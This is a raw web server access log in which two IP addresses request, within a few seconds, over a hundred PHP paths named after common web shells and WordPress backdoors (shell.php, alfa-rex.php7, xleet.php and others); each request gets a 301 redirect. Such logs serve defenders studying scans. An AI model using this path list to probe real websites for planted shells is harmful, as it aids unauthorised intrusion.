149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:21 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:21 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:20:22 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:22 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:22 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:23 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:20:23 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:23 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:23 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:24 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:24 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:25 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:20:25 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:25 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:26 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 